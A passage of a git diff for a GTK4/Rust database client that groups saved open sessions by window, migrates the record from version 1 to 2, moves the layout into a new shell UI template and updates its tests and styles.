+        fixture.sessions.add(closed.clone(), 1);
+        fixture.sessions.add(kept.clone(), 1);
 
         fixture.sessions.remove(&closed);
         assert_eq!(
@@ -271,8 +334,8 @@ mod tests {
     fn cancelled_quit_thaws_to_live_keys() {
         let fixture = Fixture::new();
         let (closed, open) = (saved(), saved());
-        fixture.sessions.add(closed.clone());
-        fixture.sessions.add(open.clone());
+        fixture.sessions.add(closed.clone(), 1);
+        fixture.sessions.add(open.clone(), 1);
         fixture.sessions.freeze_for_quit();
         fixture.sessions.remove(&closed);
 
@@ -291,20 +354,95 @@ mod tests {
     fn restore_puts_the_recorded_keys_first() {
         let fixture = Fixture::new();
         let (recorded, opened_since) = (saved(), saved());
-        fixture.sessions.add(opened_since.clone());
+        fixture.sessions.add(opened_since.clone(), 1);
 
-        let reopen = fixture.sessions.restore(OpenSessionsRecord::from_keys([&recorded]));
+        let reopen = fixture
+            .sessions
+            .restore(OpenSessionsRecord::from_windows([[&recorded]]));
 
-        assert_eq!(reopen, std::slice::from_ref(&recorded));
+        assert_eq!(reopen, [vec![recorded.clone()]]);
         assert_eq!(fixture.sessions.keys(), [recorded.clone(), opened_since.clone()]);
         assert_eq!(fixture.on_disk(), [recorded, opened_since]);
     }
 
+    #[gtk4::test]
+    fn a_key_moved_to_another_window_is_written_there() {
+        let fixture = Fixture::new();
+        let (moved, stays) = (saved(), saved());
+        fixture.sessions.add(moved.clone(), 1);
+        fixture.sessions.add(stays.clone(), 1);
+        wait_until(WAIT, || fixture.hold.live() == 0).expect("the adds to land");
+
+        fixture.sessions.add(moved.clone(), 2);
+
+        assert!(fixture.hold.live() > 0, "the move was not written");
+        assert_eq!(fixture.windows_on_disk(), [vec![stays], vec![moved]]);
+    }
+
+    #[gtk4::test]
+    fn the_record_groups_keys_by_window_in_first_seen_order() {
+        let fixture = Fixture::new();
+        let (first, second, third) = (saved(), saved(), saved());
+
+        fixture.sessions.add(first.clone(), 7);
+        fixture.sessions.add(second.clone(), 3);
+        fixture.sessions.add(third.clone(), 7);
+
+        assert_eq!(
+            fixture.sessions.record().windows(),
+            [vec![first.clone(), third.clone()], vec![second.clone()]]
+        );
+        assert_eq!(fixture.windows_on_disk(), [vec![first, third], vec![second]]);
+    }
+
+    #[gtk4::test]
+    fn restore_keeps_the_recorded_windows_until_each_is_assigned() {
+        let fixture = Fixture::new();
+        let (first, second, alone, opened_since) = (saved(), saved(), saved(), saved());
+        fixture.sessions.add(opened_since.clone(), 1);
+
+        let reopen = fixture
+            .sessions
+            .restore(OpenSessionsRecord::from_windows([vec![&first, &second], vec![&alone]]));
+
+        assert_eq!(reopen, [vec![first.clone(), second.clone()], vec![alone.clone()]]);
+        assert_eq!(
+            fixture.windows_on_disk(),
+            [
+                vec![first.clone(), second.clone()],
+                vec![alone.clone()],
+                vec![opened_since.clone()]
+            ]
+        );
+        fixture.sessions.assign(&[first.clone(), second.clone()], 1);
+        fixture.sessions.assign(std::slice::from_ref(&alone), 2);
+        assert_eq!(
+            fixture.windows_on_disk(),
+            [vec![first, second, opened_since], vec![alone]],
+            "a restored window kept a recorded place, or a key its window id"
+        );
+    }
+
+    #[gtk4::test]
+    fn assign_leaves_a_removed_key_removed() {
+        let fixture = Fixture::new();
+        let (failed, opened) = (saved(), saved());
+        fixture
+            .sessions
+            .restore(OpenSessionsRecord::from_windows([[&failed, &opened]]));
+        fixture.sessions.remove(&failed);
+
+        fixture.sessions.assign(&[failed, opened.clone()], 4);
+
+        assert_eq!(fixture.sessions.keys(), std::slice::from_ref(&opened));
+        assert_eq!(fixture.windows_on_disk(), [vec![opened]]);
+    }
+
     #[gtk4::test]
     fn flush_writes_the_keys_as_they_are() {
         let fixture = Fixture::new();
         let key = saved();
-        fixture.sessions.add(key.clone());
+        fixture.sessions.add(key.clone(), 1);
         wait_until(WAIT, || fixture.hold.live() == 0).expect("the add to land");
         std::fs::remove_file(fixture.path()).expect("remove the record");
 
diff --git a/linux/crates/app/src/workspace/open_sessions_record.rs b/linux/crates/app/src/workspace/open_sessions_record.rs
index dd36c0340c..b09ff738e7 100644
--- a/linux/crates/app/src/workspace/open_sessions_record.rs
+++ b/linux/crates/app/src/workspace/open_sessions_record.rs
@@ -2,23 +2,42 @@ use std::io::ErrorKind;
 use std::path::Path;
 
 use serde::{Deserialize, Serialize};
+use serde_json::Value;
 use tablepro_session::SessionKey;
-use tablepro_storage::document::{VersionedDocument, decode_document};
+use tablepro_storage::document::{Upgrade, VersionedDocument, decode_document};
 
 use super::workspace_store::{MAX_FILE_BYTES, read_capped};
 use super::{OpenSessionsLoad, SessionKeyRecord};
 
-/// The sessions the windows showed, in the order they opened, so the
-/// next launch opens them again.
+/// The sessions the windows showed, grouped by the window that held
+/// them, so the next launch opens each group in a window again. Windows
+/// come in the order they opened, and keys in the order their window
+/// adopted them.
 #[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]
 pub struct OpenSessionsRecord {
     #[serde(default)]
-    pub sessions: Vec<SessionKeyRecord>,
+    pub windows: Vec<Vec<SessionKeyRecord>>,
 }
 
 impl VersionedDocument for OpenSessionsRecord {
     const KIND: &'static str = "open-sessions";
-    const VERSION: u32 = 1;
+    const VERSION: u32 = 2;
+    const UPGRADES: &'static [Upgrade] = &[window_per_session];
+}
+
+/// Version 1 listed the sessions alone, and each opened in a window of
+/// its own; version 2 keeps that by giving each one its own window.
+fn window_per_session(mut document: Value) -> Result<Value, String> {
+    let Value::Object(fields) = &mut document else {
+        return Err("the record is not an object".to_owned());
+    };
+    let windows = match fields.remove("sessions") {
+        None | Some(Value::Null) => Vec::new(),
+        Some(Value::Array(sessions)) => sessions.into_iter().map(|key| Value::Array(vec![key])).collect(),
+        Some(_) => return Err("the sessions are not a list".to_owned()),
+    };
+    fields.insert("windows".to_owned(), Value::Array(windows));
+    Ok(document)
 }
 
 impl OpenSessionsRecord {
@@ -26,22 +45,38 @@ impl OpenSessionsRecord {
     /// take.
     pub const FILE_NAME: &'static str = "open-sessions.json";
 
-    pub fn from_keys<'a>(keys: impl IntoIterator<Item = &'a SessionKey>) -> Self {
+    pub fn from_windows<'a, W>(windows: impl IntoIterator<Item = W>) -> Self
+    where
+        W: IntoIterator<Item = &'a SessionKey>,
+    {
         Self {
-            sessions: keys.into_iter().map(SessionKeyRecord::from).collect(),
+            windows: windows
+                .into_iter()
+                .map(|keys| keys.into_iter().map(SessionKeyRecord::from).collect())
+                .collect(),
         }
     }
 
-    /// Each key once, in the recorded order: a key repeated in the file
-    /// would open a second window only to find the first.
-    pub fn keys(self) -> Vec<SessionKey> {
-        let mut keys: Vec<SessionKey> = Vec::with_capacity(self.sessions.len());
-        for key in self.sessions.into_iter().map(SessionKeyRecord::into_key) {
-            if !keys.contains(&key) {
-                keys.push(key);
+    /// The keys of each window, each key once across them all and no
+    /// window left empty: a key repeated in the file would open a second
+    /// window only to find the first, and an empty one would open a
+    /// window on nothing.
+    pub fn windows(self) -> Vec<Vec<SessionKey>> {
+        let mut seen: Vec<SessionKey> = Vec::new();
+        let mut windows: Vec<Vec<SessionKey>> = Vec::with_capacity(self.windows.len());
+        for window in self.windows {
+            let mut keys: Vec<SessionKey> = Vec::with_capacity(window.len());
+            for key in window.into_iter().map(SessionKeyRecord::into_key) {
+                if !seen.contains(&key) {
+                    seen.push(key.clone());
+                    keys.push(key);
+                }
+            }
+            if !keys.is_empty() {
+                windows.push(keys);
             }
         }
-        keys
+        windows
     }
 }
 
@@ -74,11 +109,11 @@ mod tests {
 
     fn record() -> OpenSessionsRecord {
         OpenSessionsRecord {
-            sessions: vec![
-                SessionKeyRecord::Saved { id: Uuid::new_v4() },
-                SessionKeyRecord::File {
+            windows: vec![
+                vec![SessionKeyRecord::Saved { id: Uuid::new_v4() }],
+                vec![SessionKeyRecord::File {
                     uri: "file:///srv/app.db".to_owned(),
-                },
+                }],
             ],
         }
     }
@@ -103,7 +138,7 @@ mod tests {
 
         assert_eq!(decoded, record);
         let text = String::from_utf8_lossy(&bytes);
-        assert!(text.contains("\"version\": 1"), "{text}");
+        assert!(text.contains("\"version\": 2"), "{text}");
         assert!(text.contains("\"kind\": \"saved\""), "{text}");
     }
 
@@ -111,7 +146,7 @@ mod tests {
     fn unsupported_version_moved_aside_and_loads_empty() {
         let dir = tempfile::tempdir().expect("tempdir");
         let path = dir.path().join(OpenSessionsRecord::FILE_NAME);
-        let original = br#"{"version": 2, "sessions": []}"#;
+        let original = br#"{"version": 3, "windows": []}"#;
         std::fs::write(&path, original).expect("seed");
 
         let load = read_open_sessions_blocking(&path);
@@ -152,13 +187,66 @@ mod tests {
         assert_eq!(read_open_sessions_blocking(&path), OpenSessionsLoad::Restored(record));
     }
 
+    #[test]
+    fn a_version_1_record_opens_each_session_in_a_window_of_its_own() {
+        let first = Uuid::new_v4();
+        let bytes = format!(
+            r#"{{"version": 1, "sessions": [{{"kind": "saved", "id": "{first}"}}, {{"kind": "file", "uri": "file:///srv/app.db"}}]}}"#
+        );
+
+        let record: OpenSessionsRecord = decode_document(Path::new("/tmp/o.json"), bytes.as_bytes()).expect("decode");
+
+        assert_eq!(
+            record.windows(),
+            [
+                vec![SessionKey::Saved(first)],
+                vec![SessionKey::File("file:///srv/app.db".to_owned())],
+            ]
+        );
+    }
+
+    #[test]
+    fn a_version_1_record_without_sessions_opens_nothing() {
+        let record: OpenSessionsRecord =
+            decode_document(Path::new("/tmp/o.json"), br#"{"version": 1}"#).expect("decode");
+
+        assert!(record.windows().is_empty());
+    }
+
+    #[test]
+    fn round_trip_keeps_two_keys_in_one_window() {
+        let (first, second) = (
+            SessionKey::Saved(Uuid::new_v4()),
+            SessionKey::File("file:///srv/app.db".to_owned()),
+        );
+        let record = OpenSessionsRecord::from_windows([[&first, &second]]);
+
+        let bytes = encode_document(&record).expect("encode");
+        let decoded: OpenSessionsRecord = decode_document(Path::new("/tmp/o.json"), &bytes).expect("decode");
+
+        assert_eq!(decoded, record);
+        assert_eq!(decoded.windows(), [vec![first, second]]);
+    }
+
+    #[test]
+    fn a_key_in_two_windows_opens_in_the_first_only() {
+        let (first, second) = (
+            SessionKey::Saved(Uuid::new_v4()),
+            SessionKey::File("file:///srv/app.db".to_owned()),
+        );
+
+        let windows = OpenSessionsRecord::from_windows([vec![&first, &second], vec![&first], vec![]]).windows();
+
+        assert_eq!(windows, [vec![first, second]]);
+    }
+
     #[test]
     fn keys_keep_the_recorded_order_once_each() {
         let first = SessionKey::Saved(Uuid::new_v4());
         let second = SessionKey::File("file:///srv/app.db".to_owned());
 
-        let keys = OpenSessionsRecord::from_keys([&first, &second, &first]).keys();
+        let windows = OpenSessionsRecord::from_windows([vec![&first, &second, &first]]).windows();
 
-        assert_eq!(keys, [first, second]);
+        assert_eq!(windows, [vec![first, second]]);
     }
 }
diff --git a/linux/crates/app/tests/accessibility/main.rs b/linux/crates/app/tests/accessibility/main.rs
index ae0db14de3..5a0189644f 100644
--- a/linux/crates/app/tests/accessibility/main.rs
+++ b/linux/crates/app/tests/accessibility/main.rs
@@ -240,29 +240,61 @@ fn connected(name: &str) -> Result<(World, adw::ApplicationWindow), String> {
     )?;
     let window = world.open(WindowLaunch::Connect(Box::new(world.saved.clone())))?;
     wait_until("the table in the sidebar", || {
-        shows(&window, "TableProWorkspace") && shows_text(window.upcast_ref(), TABLE)
+        shows(&window, "TableProWorkspaceShell") && table_row(&window).is_some()
     })?;
     Ok((world, window))
 }
 
-fn sidebar_action(window: &adw::ApplicationWindow, action: &str) -> Result<(), String> {
-    let sidebar = descendants(window.upcast_ref())
+/// The connection tree and the position of the table's row in it.
+fn table_row(window: &adw::ApplicationWindow) -> Option<(gtk4::ListView, u32)> {
+    descendants(window.upcast_ref())
         .into_iter()
-        .find(|widget| widget.is::<gtk4::ListView>())
-        .ok_or("the sidebar has no list")?;
-    let table = (Some("public".to_owned()), TABLE.to_owned()).to_variant();
-    sidebar
-        .activate_action(action, Some(&table))
-        .map_err(|error| format!("{action}: {error}"))
+        .filter_map(|widget| widget.downcast::<gtk4::ListView>().ok())
+        .find_map(|list| {
+            let model = list.model()?;
+            let position = (0..model.n_items()).find(|&position| {
+                model
+                    .item(position)
+                    .and_downcast::<gtk4::TreeListRow>()
+                    .and_then(|row| row.item())
+                    .is_some_and(|item| {
+                        item.find_property("name").is_some()
+                            && item.property_value("name").get::<String>().ok().as_deref() == Some(TABLE)
+                    })
+            })?;
+            Some((list, position))
+        })
 }
 
 fn open_table(window: &adw::ApplicationWindow) -> Result<(), String> {
-    sidebar_action(window, "sidebar.open-in-new-tab")?;
+    let (list, position) = table_row(window).ok_or("the tree has no row for the table")?;
+    list.activate_action("list.activate-item", Some(&position.to_variant()))
+        .map_err(|error| format!("list.activate-item: {error}"))?;
     wait_until("the table's rows", || shows_text(window.upcast_ref(), CELL))
 }
 
+/// Edit Structure from the table row's menu, as the Menu key opens it.
 fn open_structure(window: &adw::ApplicationWindow) -> Result<(), String> {
-    sidebar_action(window, "sidebar.edit-structure")?;
+    let (list, position) = table_row(window).ok_or("the tree has no row for the table")?;
+    list.model()
+        .and_downcast::<gtk4::SingleSelection>()
+        .ok_or("the tree has no selection")?
+        .set_selected(position);
+    list.activate_action("tree.context-menu", None)
+        .map_err(|error| format!("tree.context-menu: {error}"))?;
+    let mut menu = None;
+    wait_until("the row's menu", || {
+        menu = descendants(window.upcast_ref())
+            .into_iter()
+            .filter_map(|widget| widget.downcast::<gtk4::PopoverMenu>().ok())
+            .find(|popover| popover.is_visible());
+        menu.is_some()
+    })?;
+    let table = (Some("public".to_owned()), TABLE.to_owned()).to_variant();
+    let menu = menu.ok_or("no menu")?;
+    menu.activate_action("sidebar.edit-structure", Some(&table))
+        .map_err(|error| format!("sidebar.edit-structure: {error}"))?;
+    menu.popdown();
     wait_until("the table's structure", || {
         widgets_of(window.upcast_ref(), "TableProStructureTab")
             .iter()
diff --git a/linux/crates/app/tests/application_session_restore.rs b/linux/crates/app/tests/application_session_restore.rs
index 5ba222972a..04d3aff952 100644
--- a/linux/crates/app/tests/application_session_restore.rs
+++ b/linux/crates/app/tests/application_session_restore.rs
@@ -176,11 +176,12 @@ impl Sandbox {
         let bytes = std::fs::read(self.record_path()).map_err(|error| format!("no record after the quit: {error}"))?;
         let record: serde_json::Value =
             serde_json::from_slice(&bytes).map_err(|error| format!("the record is not JSON: {error}"))?;
-        let sessions = record["sessions"]
+        let windows = record["windows"]
             .as_array()
-            .ok_or_else(|| format!("the record lists no sessions: {record}"))?;
-        sessions
+            .ok_or_else(|| format!("the record lists no windows: {record}"))?;
+        windows
             .iter()
+            .flat_map(|window| window.as_array().into_iter().flatten())
             .map(|session| {
                 session["uri"]
                     .as_str()
diff --git a/linux/crates/app/tests/kill_during_save.rs b/linux/crates/app/tests/kill_during_save.rs
index e3e424e14e..db2a1bba4f 100644
--- a/linux/crates/app/tests/kill_during_save.rs
+++ b/linux/crates/app/tests/kill_during_save.rs
@@ -124,7 +124,8 @@ fn first_window() -> Option<gtk4::Widget> {
     app.windows().into_iter().next().map(Cast::upcast)
 }
 
-/// The sidebar's row for `name`, which opens its table when activated.
+/// The connection tree's row for `name`, which opens its table when
+/// activated.
 fn table_row(window: &gtk4::Widget, name: &str) -> Option<(gtk4::ListView, u32)> {
     descendants(window)
         .into_iter()
@@ -132,10 +133,14 @@ fn table_row(window: &gtk4::Widget, name: &str) -> Option<(gtk4::ListView, u32)>
         .find_map(|list| {
             let model = list.model()?;
             let position = (0..model.n_items()).find(|&position| {
-                model.item(position).is_some_and(|item| {
-                    item.find_property("name").is_some()
-                        && item.property_value("name").get::<String>().ok().as_deref() == Some(name)
-                })
+                model
+                    .item(position)
+                    .and_downcast::<gtk4::TreeListRow>()
+                    .and_then(|row| row.item())
+                    .is_some_and(|item| {
+                        item.find_property("name").is_some()
+                            && item.property_value("name").get::<String>().ok().as_deref() == Some(name)
+                    })
             })?;
             Some((list, position))
         })
diff --git a/linux/data/resources/resources.gresource.xml b/linux/data/resources/resources.gresource.xml
index 875e51f7f2..b8c8f52bed 100644
--- a/linux/data/resources/resources.gresource.xml
+++ b/linux/data/resources/resources.gresource.xml
@@ -43,6 +43,7 @@
     <file compressed="true" preprocess="xml-stripblanks">ui/tls-section.ui</file>
     <file compressed="true" preprocess="xml-stripblanks">ui/welcome-view.ui</file>
     <file compressed="true" preprocess="xml-stripblanks">ui/workspace.ui</file>
+    <file compressed="true" preprocess="xml-stripblanks">ui/workspace-shell.ui</file>
     <file compressed="true" preprocess="xml-stripblanks">icons/scalable/actions/table-relation-symbolic.svg</file>
     <file compressed="true" preprocess="xml-stripblanks">icons/scalable/actions/statement-pending-symbolic.svg</file>
     <file compressed="true" preprocess="xml-stripblanks">icons/scalable/actions/document-modified-symbolic.svg</file>
diff --git a/linux/data/resources/style.css b/linux/data/resources/style.css
index 4660c5ee3f..f9f58bcffe 100644
--- a/linux/data/resources/style.css
+++ b/linux/data/resources/style.css
@@ -70,6 +70,43 @@ columnview > listview > row > cell > tp-grid-cell > text:focus-within {
   background: #6f8396;
 }
 
+/* A connection's icon in the window's tree, in the connection's colour. */
+.tp-connection-icon.tp-tag-blue {
+  color: #3584e4;
+}
+
+.tp-connection-icon.tp-tag-teal {
+  color: #2190a4;
+}
+
+.tp-connection-icon.tp-tag-green {
+  color: #3a944a;
+}
+
+.tp-connection-icon.tp-tag-yellow {
+  color: #c88800;
+}
+
+.tp-connection-icon.tp-tag-orange {
+  color: #ed5b00;
+}
+
+.tp-connection-icon.tp-tag-red {
+  color: #e62d42;
+}
+
+.tp-connection-icon.tp-tag-pink {
+  color: #d56199;
+}
+
+.tp-connection-icon.tp-tag-purple {
+  color: #9141ac;
+}
+
+.tp-connection-icon.tp-tag-slate {
+  color: #6f8396;
+}
+
 /* A tag beside a connection's name: tinted with its colour, the name in
    the text colour, so it reads in both styles. */
 .tp-tag-pill {
diff --git a/linux/data/resources/ui/workspace-shell.ui b/linux/data/resources/ui/workspace-shell.ui
new file mode 100644
index 0000000000..040ecb5aee
--- /dev/null
+++ b/linux/data/resources/ui/workspace-shell.ui
@@ -0,0 +1,242 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<interface>
+  <requires lib="gtk" version="4.22"/>
+  <requires lib="libadwaita" version="1.9"/>
+  <template class="TableProWorkspaceShell" parent="AdwBin">
+    <property name="child">
+      <!-- libadwaita expects the overview as the window's direct
+           content, so it covers both header bars when it opens. -->
+      <object class="AdwTabOverview" id="tab_overview">
+        <property name="view">tab_view</property>
+        <!-- Only while a session is in front, which the new tab opens
+             on. -->
+        <property name="enable-new-tab">false</property>
+        <property name="enable-search">true</property>
+        <property name="child">
+          <object class="AdwBreakpointBin" id="breakpoint_bin">
+            <!-- A breakpoint bin needs a minimum size to measure
+                 against; it is the window's own floor. -->
+            <property name="width-request">360</property>
+            <property name="height-request">294</property>
+            <child>
+              <!-- Below this the assistant lies over the tabs rather than
+                   taking a column of its own. -->
+              <object class="AdwBreakpoint" id="assistant_breakpoint">
+                <condition>max-width: 900sp</condition>
+                <setter object="assistant_split" property="collapsed">true</setter>
+              </object>
+            </child>
+            <child>
+              <object class="AdwBreakpoint" id="collapse_breakpoint">
+                <condition>max-width: 600sp</condition>
+                <setter object="split_view" property="collapsed">true</setter>
+                <setter object="assistant_split" property="collapsed">true</setter>
+              </object>
+            </child>
+            <child>
+              <!-- Only the last breakpoint that matches applies, so it
+                   collapses the split view again. -->
+              <object class="AdwBreakpoint" id="narrow_breakpoint">
+                <condition>max-width: 450sp</condition>
+                <setter object="split_view" property="collapsed">true</setter>
+                <setter object="assistant_split" property="collapsed">true</setter>
+                <setter object="tab_bar" property="visible">false</setter>
+                <setter object="tab_button" property="visible">true</setter>
+              </object>
+            </child>
+            <property name="child">
+              <object class="AdwToastOverlay" id="toast_overlay">
+                <property name="child">
+                  <object class="AdwOverlaySplitView" id="split_view">
+                    <property name="min-sidebar-width">220</property>
+                    <property name="max-sidebar-width">280</property>
+                    <property name="sidebar">
+                      <object class="AdwToolbarView" id="sidebar_root">
+                        <child type="top">
+                          <!-- No title: the tree below holds every connection,
+                               and the content's header names the one in front. -->
+                          <object class="AdwHeaderBar" id="sidebar_header">
+                            <property name="show-title">false</property>
+                            <child type="start">
+                              <object class="GtkToggleButton" id="table_search_toggle">
+                                <property name="icon-name">system-search-symbolic</property>
+                              </object>
+                            </child>
+                            <child type="start">
+                              <object class="GtkButton" id="refresh_tables_button">
+                                <property name="icon-name">view-refresh-symbolic</property>
+                                <property name="action-name">win.refresh-tables</property>
+                              </object>
+                            </child>
+                          </object>
+                        </child>
+                        <child type="top">
+                          <!-- No close button: GTK gives it no accessible name,
+                               and the search toggle and Escape close the bar. -->
+                          <object class="GtkSearchBar" id="table_search_bar">
+                            <property name="child">
+                              <object class="GtkSearchEntry" id="table_search">
+                                <property name="placeholder-text" translatable="yes">Search connections and tables…</property>
+                                <property name="hexpand">true</property>
+                                <accessibility>
+                                  <property name="label" translatable="yes">Search connections and tables</property>
+                                </accessibility>
+                              </object>
+                            </property>
+                          </object>
+                        </child>
+                        <child type="top">
+                          <!-- The banners about the list of the session in
+                               front. -->
+                          <object class="GtkStack" id="list_banners">
+                            <property name="hhomogeneous">false</property>
+                            <property name="vhomogeneous">false</property>
+                          </object>
+                        </child>
+                        <property name="content">
+                          <!-- The connection tree. -->
+                          <object class="AdwBin" id="sidebar_slot">
+                            <property name="vexpand">true</property>
+                          </object>
+                        </property>
+                      </object>
+                    </property>
+                    <property name="content">
+                      <!-- The assistant's column, at the end of the window. -->
+                      <object class="AdwOverlaySplitView" id="assistant_split">
+                        <property name="sidebar-position">end</property>
+                        <property name="show-sidebar">false</property>
+                        <!-- Only the user opens and closes the assistant:
+                             unpinned, crossing a breakpoint would hide it or
+                             open it unasked. -->
+                        <property name="pin-sidebar">true</property>
+                        <property name="min-sidebar-width">300</property>
+                        <property name="max-sidebar-width">440</property>
+                        <property name="sidebar-width-fraction">0.32</property>
+                        <property name="sidebar">
+                          <!-- Each session's own pane, so a reply keeps
+                               coming while another session is in front. -->
+                          <object class="GtkStack" id="assistant_stack"/>
+                        </property>
+                        <property name="content">
+                          <object class="AdwToolbarView" id="content_root">
+                            <child type="top">
+                              <object class="AdwHeaderBar" id="content_header">
+                                <child type="start">
+                                  <object class="GtkToggleButton" id="sidebar_toggle">
+                                    <property name="icon-name">sidebar-show-symbolic</property>
+                                    <property name="action-name">win.show-sidebar</property>
+                                  </object>
+                                </child>
+                                <child type="start">
+                                  <object class="GtkButton" id="new_tab_button">
+                                    <property name="icon-name">tab-new-symbolic</property>
+                                    <property name="action-name">win.new-editor-tab</property>
+                                  </object>
+                                </child>
+                                <property name="title-widget">
+                                  <!-- The connection's icon, when it has one,
+                                       beside the title that names it. -->
+                                  <object class="GtkBox">
+                                    <property name="spacing">6</property>
+                                    <child>
+                                      <object class="GtkImage" id="connection_icon">
+                                        <property name="visible">false</property>
+                                        <property name="accessible-role">presentation</property>
+                                      </object>
+                                    </child>
+                                    <child>
+                                      <object class="AdwWindowTitle" id="window_title"/>
+                                    </child>
+                                  </object>
+                                </property>
+                                <child type="end">
+                                  <object class="GtkToggleButton" id="assistant_toggle">
+                                    <property name="icon-name">assistant-symbolic</property>
+                                    <property name="action-name">win.show-assistant</property>
+                                    <property name="visible">false</property>
+                                  </object>
+                                </child>
+                                <child type="end">
+                                  <object class="AdwTabButton" id="tab_button">
+                                    <property name="view">tab_view</property>
+                                    <property name="action-name">overview.open</property>
+                                    <property name="visible">false</property>
+                                  </object>
+                                </child>
+                                <child type="end">
+                                  <object class="TableProExportOperationsButton" id="export_operations_button"/>
+                                </child>
+                                <child type="end">
+                                  <object class="AdwSpinner" id="row_op_spinner">
+                                    <property name="visible">false</property>
+                                    <property name="margin-end">6</property>
+                                    <property name="tooltip-text" translatable="yes">Saving…</property>
+                                  </object>
+                                </child>
+                              </object>
+                            </child>
+                            <child type="top">
+                              <object class="AdwTabBar" id="tab_bar">
+                                <property name="view">tab_view</property>
+                                <property name="autohide">true</property>
+                              </object>
+                            </child>
+                            <child type="top">
+                              <!-- The banners of the session the tab in front
+                                   belongs to. -->
+                              <object class="GtkStack" id="session_banners">
+                                <property name="hhomogeneous">false</property>
+                                <property name="vhomogeneous">false</property>
+                              </object>
+                            </child>
+                            <property name="content">
+                              <object class="GtkStack" id="tab_stack">
+                                <property name="transition-type">crossfade</property>
+                                <child>
+                                  <object class="GtkStackPage">
+                                    <property name="name">empty</property>
+                                    <property name="child">
+                                      <object class="AdwStatusPage" id="empty_page">
+                                        <property name="icon-name">view-grid-symbolic</property>
+                                        <property name="title" translatable="yes">Select a Table</property>
+                                        <property name="description" translatable="yes">Choose a table in the sidebar or open the SQL editor.</property>
+                                        <property name="child">
+                                          <object class="GtkButton" id="empty_editor_button">
+                                            <property name="label" translatable="yes">Open SQL Editor</property>
+                                            <property name="action-name">win.new-editor-tab</property>
+                                            <property name="halign">center</property>
+                                            <style>
+                                              <class name="suggested-action"/>
+                                              <class name="pill"/>
+                                            </style>
+                                          </object>
+                                        </property>
+                                      </object>
+                                    </property>
+                                  </object>
+                                </child>
+                                <child>
+                                  <object class="GtkStackPage">
+                                    <property name="name">tabs</property>
+                                    <property name="child">
+                                      <object class="AdwTabView" id="tab_view"/>
+                                    </property>
+                                  </object>
+                                </child>
+                              </object>
+                            </property>
+                          </object>
+                        </property>
+                      </object>
+                    </property>
+                  </object>
+                </property>
+              </object>
+            </property>
+          </object>
+        </property>
+      </object>
+    </property>
+  </template>
+</interface>
diff --git a/linux/data/resources/ui/workspace.ui b/linux/data/resources/ui/workspace.ui
index 68b7df06eb..0d52f95192 100644
--- a/linux/data/resources/ui/workspace.ui
+++ b/linux/data/resources/ui/workspace.ui
@@ -2,261 +2,60 @@
 <interface>
   <requires lib="gtk" version="4.22"/>
   <requires lib="libadwaita" version="1.9"/>
+  <!-- One session's banners about the connection and its tabs. The
+       window's shell shows them above the tabs while the session is in
+       front. -->
   <template class="TableProWorkspace" parent="AdwBin">
     <property name="child">
-      <!-- libadwaita expects the overview as the window's direct
-           content, so it covers both header bars when it opens. -->
-      <object class="AdwTabOverview" id="tab_overview">
-        <property name="view">tab_view</property>
-        <property name="enable-new-tab">true</property>
-        <property name="enable-search">true</property>
-        <property name="child">
-          <object class="AdwBreakpointBin" id="breakpoint_bin">
-            <!-- A breakpoint bin needs a minimum size to measure
-                 against; it is the window's own floor. -->
-            <property name="width-request">360</property>
-            <property name="height-request">294</property>
-            <child>
-              <!-- Below this the assistant lies over the tabs rather than
-                   taking a column of its own. -->
-              <object class="AdwBreakpoint" id="assistant_breakpoint">
-                <condition>max-width: 900sp</condition>
-                <setter object="assistant_split" property="collapsed">true</setter>
-              </object>
-            </child>
-            <child>
-              <object class="AdwBreakpoint" id="collapse_breakpoint">
-                <condition>max-width: 600sp</condition>
-                <setter object="split_view" property="collapsed">true</setter>
-                <setter object="assistant_split" property="collapsed">true</setter>
-              </object>
-            </child>
-            <child>
-              <!-- Only the last breakpoint that matches applies, so it
-                   collapses the split view again. -->
-              <object class="AdwBreakpoint" id="narrow_breakpoint">
-                <condition>max-width: 450sp</condition>
-                <setter object="split_view" property="collapsed">true</setter>
-                <setter object="assistant_split" property="collapsed">true</setter>
-                <setter object="tab_bar" property="visible">false</setter>
-                <setter object="tab_button" property="visible">true</setter>
-              </object>
-            </child>
-            <property name="child">
-              <object class="AdwToastOverlay" id="toast_overlay">
-                <property name="child">
-                  <object class="AdwOverlaySplitView" id="split_view">
-                    <property name="min-sidebar-width">220</property>
-                    <property name="max-sidebar-width">280</property>
-                    <property name="sidebar">
-                      <object class="AdwToolbarView" id="sidebar_root">
-                        <child type="top">
-                          <object class="AdwHeaderBar" id="sidebar_header">
-                            <property name="title-widget">
-                              <object class="AdwWindowTitle" id="sidebar_title"/>
-                            </property>
-                            <child type="start">
-                              <object class="GtkToggleButton" id="table_search_toggle">
-                                <property name="icon-name">system-search-symbolic</property>
-                              </object>
-                            </child>
-                            <child type="start">
-                              <object class="GtkButton" id="refresh_tables_button">
-                                <property name="icon-name">view-refresh-symbolic</property>
-                                <property name="action-name">win.refresh-tables</property>
-                              </object>
-                            </child>
-                          </object>
-                        </child>
-                        <child type="top">
-                          <!-- No close button: GTK gives it no accessible name,
-                               and the search toggle and Escape close the bar. -->
-                          <object class="GtkSearchBar" id="table_search_bar">
-                            <property name="child">
-                              <object class="GtkSearchEntry" id="table_search">
-                                <property name="placeholder-text" translatable="yes">Filter tables…</property>
-                                <property name="hexpand">true</property>
-                                <accessibility>
-                                  <property name="label" translatable="yes">Filter tables</property>
-                                </accessibility>
-                              </object>
-                            </property>
-                          </object>
-                        </child>
-                        <child type="top">
-                          <!-- The list stays as it was when a read fails, so
-                               the banner says it may be out of date. -->
-                          <object class="AdwBanner" id="catalog_banner">
-                            <property name="use-markup">false</property>
-                            <property name="button-label" translatable="yes">Retry</property>
-                            <property name="action-name">win.refresh-tables</property>
-                          </object>
-                        </child>
-                        <child type="top">
-                          <!-- A database of keys can hold millions, and a
-                               listing stops at its limit. -->
-                          <object class="AdwBanner" id="key_limit_banner">
-                            <property name="use-markup">false</property>
-                            <property name="title" translatable="yes">Not every key is listed. Search to narrow the list.</property>
-                          </object>
-                        </child>
-                        <property name="content">
-                          <object class="AdwBin" id="sidebar_slot">
-                            <property name="vexpand">true</property>
-                          </object>
-                        </property>
-                      </object>
-                    </property>
-                    <property name="content">
-                      <!-- The assistant's column, at the end of the window. -->
-                      <object class="AdwOverlaySplitView" id="assistant_split">
-                        <property name="sidebar-position">end</property>
-                        <property name="show-sidebar">false</property>
-                        <!-- Only the user opens and closes the assistant:
-                             unpinned, crossing a breakpoint would hide it or
-                             open it unasked. -->
-                        <property name="pin-sidebar">true</property>
